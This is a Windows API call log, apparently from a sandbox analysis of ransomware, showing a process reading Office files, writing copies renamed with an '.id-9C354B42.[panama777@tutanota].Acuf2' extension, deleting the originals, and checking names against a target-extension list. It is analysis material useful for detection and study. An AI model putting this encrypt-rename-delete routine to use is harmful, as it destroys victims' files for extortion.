	[0262.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0262.191] GetLastError () returned 0x0
	[0262.191] ReadFile (in: hFile=0x34c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x77f, lpOverlapped=0x0) returned 1
	[0262.192] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x780, lpOverlapped=0x0) returned 1
	[0262.193] ReadFile (in: hFile=0x34c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.193] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.193] SetEndOfFile (hFile=0x358) returned 1
	[0262.193] CloseHandle (hObject=0x358) returned 1
	[0262.193] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.193] SetEndOfFile (hFile=0x34c) returned 1
	[0262.195] CloseHandle (hObject=0x34c) returned 1
	[0262.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 1
	[0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.196] lstrlenW (lpString=".doc") returned 4
	[0262.196] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.196] lstrlenW (lpString=".docx") returned 5
	[0262.196] lstrcmpiW (lpString1=".docx", lpString2="F.VRD") returned -1
	[0262.196] lstrlenW (lpString=".pdf") returned 4
	[0262.196] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.196] lstrlenW (lpString=".xls") returned 4
	[0262.196] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.196] lstrlenW (lpString=".xlsx") returned 5
	[0262.196] lstrcmpiW (lpString1=".xlsx", lpString2="F.VRD") returned -1
	[0262.196] lstrlenW (lpString=".ppt") returned 4
	[0262.196] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.196] lstrlenW (lpString=".zip") returned 4
	[0262.196] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.196] lstrlenW (lpString=".rar") returned 4
	[0262.196] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.196] lstrlenW (lpString=".bz2") returned 4
	[0262.196] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.196] lstrlenW (lpString=".7z") returned 3
	[0262.196] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.196] lstrlenW (lpString=".dbf") returned 4
	[0262.196] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.196] lstrlenW (lpString=".1cd") returned 4
	[0262.196] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.197] lstrlenW (lpString=".jpg") returned 4
	[0262.197] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.197] lstrlenW (lpString=".doc") returned 4
	[0262.197] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.197] lstrlenW (lpString=".docx") returned 5
	[0262.197] lstrcmpiW (lpString1=".docx", lpString2="F.VRD") returned -1
	[0262.197] lstrlenW (lpString=".pdf") returned 4
	[0262.197] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.197] lstrlenW (lpString=".xls") returned 4
	[0262.197] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.197] lstrlenW (lpString=".xlsx") returned 5
	[0262.197] lstrcmpiW (lpString1=".xlsx", lpString2="F.VRD") returned -1
	[0262.197] lstrlenW (lpString=".ppt") returned 4
	[0262.197] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.197] lstrlenW (lpString=".zip") returned 4
	[0262.197] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.197] lstrlenW (lpString=".rar") returned 4
	[0262.197] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.197] lstrlenW (lpString=".bz2") returned 4
	[0262.197] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.197] lstrlenW (lpString=".7z") returned 3
	[0262.197] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.197] lstrlenW (lpString=".dbf") returned 4
	[0262.197] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.198] lstrlenW (lpString=".1cd") returned 4
	[0262.198] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60
	[0262.198] lstrlenW (lpString=".jpg") returned 4
	[0262.198] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.198] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0262.198] lstrlenW (lpString="INFOPATHEDITOR.HXS") returned 18
	[0262.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0262.198] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=432098) returned 1
	[0262.198] CloseHandle (hObject=0x34c) returned 1
	[0262.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 0x20
	[0262.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0262.199] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.199] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0262.199] GetLastError () returned 0x0
	[0262.199] ReadFile (in: hFile=0x34c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x697e2, lpOverlapped=0x0) returned 1
	[0262.212] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x697f0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x697f0, lpOverlapped=0x0) returned 1
	[0262.220] ReadFile (in: hFile=0x34c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.220] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0262.220] SetEndOfFile (hFile=0x358) returned 1
	[0262.220] CloseHandle (hObject=0x358) returned 1
	[0262.220] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.220] SetEndOfFile (hFile=0x34c) returned 1
	[0262.432] CloseHandle (hObject=0x34c) returned 1
	[0262.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 1
	[0262.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.433] lstrlenW (lpString=".doc") returned 4
	[0262.433] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0262.433] lstrlenW (lpString=".docx") returned 5
	[0262.433] lstrcmpiW (lpString1=".docx", lpString2="R.HXS") returned -1
	[0262.433] lstrlenW (lpString=".pdf") returned 4
	[0262.433] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0262.433] lstrlenW (lpString=".xls") returned 4
	[0262.433] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0262.433] lstrlenW (lpString=".xlsx") returned 5
	[0262.433] lstrcmpiW (lpString1=".xlsx", lpString2="R.HXS") returned -1
	[0262.433] lstrlenW (lpString=".ppt") returned 4
	[0262.433] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0262.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.433] lstrlenW (lpString=".zip") returned 4
	[0262.433] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0262.433] lstrlenW (lpString=".rar") returned 4
	[0262.433] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0262.433] lstrlenW (lpString=".bz2") returned 4
	[0262.433] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0262.433] lstrlenW (lpString=".7z") returned 3
	[0262.433] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0262.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.434] lstrlenW (lpString=".dbf") returned 4
	[0262.434] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0262.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.434] lstrlenW (lpString=".1cd") returned 4
	[0262.434] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0262.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.434] lstrlenW (lpString=".jpg") returned 4
	[0262.434] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0262.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.434] lstrlenW (lpString=".doc") returned 4
	[0262.434] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0262.434] lstrlenW (lpString=".docx") returned 5
	[0262.434] lstrcmpiW (lpString1=".docx", lpString2="R.HXS") returned -1
	[0262.434] lstrlenW (lpString=".pdf") returned 4
	[0262.434] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0262.434] lstrlenW (lpString=".xls") returned 4
	[0262.434] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0262.434] lstrlenW (lpString=".xlsx") returned 5
	[0262.434] lstrcmpiW (lpString1=".xlsx", lpString2="R.HXS") returned -1
	[0262.434] lstrlenW (lpString=".ppt") returned 4
	[0262.434] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0262.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.434] lstrlenW (lpString=".zip") returned 4
	[0262.434] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0262.434] lstrlenW (lpString=".rar") returned 4
	[0262.434] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0262.434] lstrlenW (lpString=".bz2") returned 4
	[0262.434] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0262.434] lstrlenW (lpString=".7z") returned 3
	[0262.434] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0262.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.435] lstrlenW (lpString=".dbf") returned 4
	[0262.435] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0262.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.435] lstrlenW (lpString=".1cd") returned 4
	[0262.435] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0262.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66
	[0262.435] lstrlenW (lpString=".jpg") returned 4
	[0262.435] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0262.435] lstrcmpiW (lpString1=".gta", lpString2=".Acuf2") returned 1
	[0262.435] lstrlenW (lpString="Issue Tracking.gta") returned 18
	[0262.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0262.435] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=249535) returned 1
	[0262.435] CloseHandle (hObject=0x34c) returned 1
	[0262.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta")) returned 0x20
	[0262.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0262.436] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.436] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0262.436] GetLastError () returned 0x0
	[0262.436] ReadFile (in: hFile=0x34c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x3cebf, lpOverlapped=0x0) returned 1
	[0262.442] WriteFile (in: hFile=0x2a4, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x3cec0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x3cec0, lpOverlapped=0x0) returned 1
	[0262.447] ReadFile (in: hFile=0x34c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.447] WriteFile (in: hFile=0x2a4, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0262.447] SetEndOfFile (hFile=0x2a4) returned 1
	[0262.447] CloseHandle (hObject=0x2a4) returned 1
	[0262.447] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.447] SetEndOfFile (hFile=0x34c) returned 1
	[0262.461] CloseHandle (hObject=0x34c) returned 1
	[0262.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta")) returned 1
	[0262.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.463] lstrlenW (lpString=".doc") returned 4
	[0262.463] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1
	[0262.463] lstrlenW (lpString=".docx") returned 5
	[0262.463] lstrcmpiW (lpString1=".docx", lpString2="g.gta") returned -1
	[0262.463] lstrlenW (lpString=".pdf") returned 4
	[0262.463] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1
	[0262.463] lstrlenW (lpString=".xls") returned 4
	[0262.463] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1
	[0262.463] lstrlenW (lpString=".xlsx") returned 5
	[0262.463] lstrcmpiW (lpString1=".xlsx", lpString2="g.gta") returned -1
	[0262.463] lstrlenW (lpString=".ppt") returned 4
	[0262.463] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1
	[0262.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.463] lstrlenW (lpString=".zip") returned 4
	[0262.463] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1
	[0262.463] lstrlenW (lpString=".rar") returned 4
	[0262.463] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1
	[0262.463] lstrlenW (lpString=".bz2") returned 4
	[0262.464] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1
	[0262.464] lstrlenW (lpString=".7z") returned 3
	[0262.464] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1
	[0262.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.464] lstrlenW (lpString=".dbf") returned 4
	[0262.464] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1
	[0262.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.464] lstrlenW (lpString=".1cd") returned 4
	[0262.464] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1
	[0262.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.464] lstrlenW (lpString=".jpg") returned 4
	[0262.464] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1
	[0262.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.464] lstrlenW (lpString=".doc") returned 4
	[0262.464] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1
	[0262.464] lstrlenW (lpString=".docx") returned 5
	[0262.464] lstrcmpiW (lpString1=".docx", lpString2="g.gta") returned -1
	[0262.464] lstrlenW (lpString=".pdf") returned 4
	[0262.464] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1
	[0262.464] lstrlenW (lpString=".xls") returned 4
	[0262.464] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1
	[0262.464] lstrlenW (lpString=".xlsx") returned 5
	[0262.464] lstrcmpiW (lpString1=".xlsx", lpString2="g.gta") returned -1
	[0262.464] lstrlenW (lpString=".ppt") returned 4
	[0262.464] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1
	[0262.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.464] lstrlenW (lpString=".zip") returned 4
	[0262.464] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1
	[0262.464] lstrlenW (lpString=".rar") returned 4
	[0262.464] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1
	[0262.464] lstrlenW (lpString=".bz2") returned 4
	[0262.465] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1
	[0262.465] lstrlenW (lpString=".7z") returned 3
	[0262.465] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1
	[0262.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.465] lstrlenW (lpString=".dbf") returned 4
	[0262.465] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1
	[0262.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.465] lstrlenW (lpString=".1cd") returned 4
	[0262.465] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1
	[0262.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66
	[0262.465] lstrlenW (lpString=".jpg") returned 4
	[0262.465] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1
	[0262.465] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0262.465] lstrlenW (lpString="LGND.VSL") returned 8
	[0262.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.631] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=39296) returned 1
	[0262.631] CloseHandle (hObject=0x29c) returned 1
	[0262.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl")) returned 0x20
	[0262.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.632] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.632] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0262.632] GetLastError () returned 0x0
	[0262.632] ReadFile (in: hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x9980, lpOverlapped=0x0) returned 1
